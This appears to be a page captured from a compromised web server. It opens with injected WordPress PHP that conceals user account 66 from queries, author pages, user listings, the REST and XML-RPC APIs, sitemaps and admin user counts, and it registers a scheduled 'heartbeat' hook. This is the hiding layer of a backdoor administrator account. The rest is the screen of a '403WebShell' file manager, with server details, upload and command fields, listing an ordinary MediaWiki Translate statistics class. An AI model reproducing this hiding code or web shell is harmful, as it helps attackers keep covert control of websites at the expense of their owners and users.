add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/Translate/src/Statistics/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/Translate/src/Statistics/TranslationStatsDataProvider.php
<?php
declare( strict_types = 1 );

namespace MediaWiki\Extension\Translate\Statistics;

use MediaWiki\Config\ServiceOptions;
use MediaWiki\Extension\Translate\MessageGroupProcessing\MessageGroups;
use MediaWiki\Extension\Translate\Utilities\Utilities;
use MediaWiki\Language\Language;
use Wikimedia\ObjectFactory\ObjectFactory;
use Wikimedia\Rdbms\IConnectionProvider;
use Wikimedia\Rdbms\IReadableDatabase;
use const TS_MW;

/**
 * Provides translation stats data
 * @author Abijeet Patro
 * @license GPL-2.0-or-later
 * @since 2020.09
 */
class TranslationStatsDataProvider {
	public const CONSTRUCTOR_OPTIONS = [
		'TranslateStatsProviders'
	];

	private ObjectFactory $objectFactory;
	private ServiceOptions $options;
	private IConnectionProvider $dbProvider;

	public function __construct(
		ServiceOptions $options,
		ObjectFactory $objectFactory,
		IConnectionProvider $dbProvider
	) {
		$this->options = $options;
		$this->objectFactory = $objectFactory;
		$this->dbProvider = $dbProvider;
	}

	private function getGraphSpecifications(): array {
		return array_filter( $this->options->get( 'TranslateStatsProviders' ) );
	}

	public function getGraphTypes(): array {
		return array_keys( $this->getGraphSpecifications() );
	}

	/**
	 * Fetches and preprocesses graph data that can be fed to graph drawer.
	 * @param TranslationStatsGraphOptions $opts
	 * @param Language $language
	 * @return array ( string => array ) Data indexed by their date labels.
	 */
	public function getGraphData( TranslationStatsGraphOptions $opts, Language $language ): array {
		$dbr = $this->dbProvider->getReplicaDatabase();

		$so = $this->getStatsProvider( $opts->getValue( 'count' ), $opts );

		$fixedStart = $opts->getValue( 'start' ) !== '';

		$now = time();
		$period = 3600 * 24 * $opts->getValue( 'days' );

		if ( $fixedStart ) {
			$cutoff = (int)wfTimestamp( TS_UNIX, $opts->getValue( 'start' ) );
		} else {
			$cutoff = $now - $period;
		}
		$cutoff = self::roundTimestampToCutoff( $opts->getValue( 'scale' ), $cutoff, 'earlier' );

		$start = $cutoff;

		if ( $fixedStart ) {
			$end = self::roundTimestampToCutoff( $opts->getValue( 'scale' ), $start + $period, 'later' ) - 1;
		} else {
			$end = null;
		}

		$timestampColumn = $so->getTimestampColumn();

		$selectQueryBuilder = $so->createQueryBuilder( $dbr, __METHOD__ );
		$selectQueryBuilder->andWhere(
			$this->makeTimeCondition(
				$dbr,
				$timestampColumn,
				wfTimestamp( TS_MW, $start ),
				wfTimestampOrNull( TS_MW, $end )
			)
		);

		$res = $selectQueryBuilder->fetchResultSet();
		wfDebug( __METHOD__ . "-queryend\n" );

		// Start processing the data
		$dateFormat = $so->getDateFormat();
		$increment = self::getIncrement( $opts->getValue( 'scale' ) );

		$labels = $so->labels();
		$keys = array_keys( $labels );
		$values = array_pad( [], count( $labels ), 0 );
		$defaults = array_combine( $keys, $values );

		$data = [];
		// Allow 10 seconds in the future for processing time
		$lastValue = $end ?? $now + 10;
		while ( $cutoff <= $lastValue ) {
			$date = $language->sprintfDate( $dateFormat, wfTimestamp( TS_MW, $cutoff ) );
			$cutoff += $increment;
			$data[$date] = $defaults;
		}
		// Ensure $lastValue is within range, in case the loop above jumped over it
		$data[$language->sprintfDate( $dateFormat, wfTimestamp( TS_MW, $lastValue ) )] = $defaults;

		// Processing
		$labelToIndex = array_flip( $labels );

		foreach ( $res as $row ) {
			$indexLabels = $so->indexOf( $row );
			if ( $indexLabels === null ) {
				continue;
			}

			foreach ( $indexLabels as $i ) {
				if ( !isset( $labelToIndex[$i] ) ) {
					continue;
				}
				$date = $language->sprintfDate( $dateFormat, $row->$timestampColumn );
				// Ignore values outside range
				if ( !isset( $data[$date] ) ) {
					continue;
				}

				$data[$date][$labelToIndex[$i]]++;
			}
		}

		// Don't display dummy label
		if ( count( $labels ) === 1 && $labels[0] === 'all' ) {
			$labels = [];
		}

		foreach ( $labels as &$label ) {
			if ( !str_contains( $label, '@' ) ) {
				continue;
			}
			[ $groupId, $code ] = explode( '@', $label, 2 );
			if ( $code && $groupId ) {
				$code = Utilities::getLanguageName( $code, $language->getCode() ) . " ($code)";
				$group = MessageGroups::getGroup( $groupId );
				$group = $group ? $group->getLabel() : $groupId;
				$label = "$group @ $code";
			} elseif ( $code ) {
				$label = Utilities::getLanguageName( $code, $language->getCode() ) . " ($code)";
			} elseif ( $groupId ) {
				$group = MessageGroups::getGroup( $groupId );
				$label = $group ? $group->getLabel() : $groupId;
			}
		}

		// Indicator that the last value is not full
		if ( $end === null ) {
			// Warning: do not user array_splice, which does not preserve numerical keys
			$last = end( $data );
			$key = key( $data );
			unset( $data[$key] );
			$data[ "$key*" ] = $last;
		}

		return [ $labels, $data ];
	}

	/** @noinspection PhpIncompatibleReturnTypeInspection */
	private function getStatsProvider( string $type, TranslationStatsGraphOptions $opts ): TranslationStatsInterface {
		$specs = $this->getGraphSpecifications();
		return $this->objectFactory->createObject(
			$specs[$type],
			[
				'allowClassName' => true,
				'extraArgs' => [ $opts ],
			]
		);
	}

	/**
	 * Gets the closest earliest timestamp that corresponds to start of a
	 * period in given scale, like, midnight, monday or first day of the month.
	 */
	private static function roundTimestampToCutoff(
		string $scale, int $cutoff, string $direction = 'earlier'
	): int {
		$dir = $direction === 'earlier' ? -1 : 1;

		/* Ensure that the first item in the graph has full data even
		* if it doesn't align with the given 'days' boundary */
		if ( $scale === 'hours' ) {
			$cutoff += self::roundingAddition( $cutoff, 3600, $dir );
		} elseif ( $scale === 'days' ) {
			$cutoff += self::roundingAddition( $cutoff, 86400, $dir );
		} elseif ( $scale === 'weeks' ) {
			/* Here we assume that week starts on monday, which does not
			* always hold true. Go Xwards day by day until we are on monday */
			while ( date( 'D', $cutoff ) !== 'Mon' ) {
				$cutoff += $dir * 86400;
			}
			// Round to nearest day
			$cutoff -= ( $cutoff % 86400 );
		} elseif ( $scale === 'months' ) {
			// Go Xwards/ day by day until we are on the first day of the month
			while ( date( 'j', $cutoff ) !== '1' ) {
				$cutoff += $dir * 86400;
			}
			// Round to nearest day
			$cutoff -= ( $cutoff % 86400 );
		} elseif ( $scale === 'years' ) {
			// Go Xwards/ day by day until we are on the first day of the year
			while ( date( 'z', $cutoff ) !== '0' ) {
				$cutoff += $dir * 86400;
			}
			// Round to nearest day
			$cutoff -= ( $cutoff % 86400 );
		}

		return $cutoff;
	}

	private static function roundingAddition( int $ts, int $amount, int $dir ): int {
		if ( $dir === -1 ) {
			return -1 * ( $ts % $amount );
		} else {
			return $amount - ( $ts % $amount );
		}
	}

	/**
	 * Returns an increment in seconds for a given scale.
	 * The increment must be small enough that we will hit every item in the
	 * scale when using different multiples of the increment. It should be
	 * large enough to avoid hitting the same item multiple times.
	 */
	private static function getIncrement( string $scale ): int {
		$increment = 3600 * 24;
		if ( $scale === 'years' ) {
			$increment = 3600 * 24 * 350;
		} elseif ( $scale === 'months' ) {
			/* We use increment to fill up the values. Use number small enough
			 * to ensure we hit each month */
			$increment = 3600 * 24 * 15;
		} elseif ( $scale === 'weeks' ) {
			$increment = 3600 * 24 * 7;
		} elseif ( $scale === 'hours' ) {
			$increment = 3600;
		}

		return $increment;
	}

	/** @return string[] */
	private function makeTimeCondition(
		IReadableDatabase $database,
		string $field,
		?string $start,
		?string $end
	): array {
		$conditions = [];
		if ( $start !== null ) {
			$conditions[] = "$field >= " . $database->addQuotes( $database->timestamp( $start ) );
		}
		if ( $end !== null ) {
			$conditions[] = "$field <= " . $database->addQuotes( $database->timestamp( $end ) );
		}

		return $conditions;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit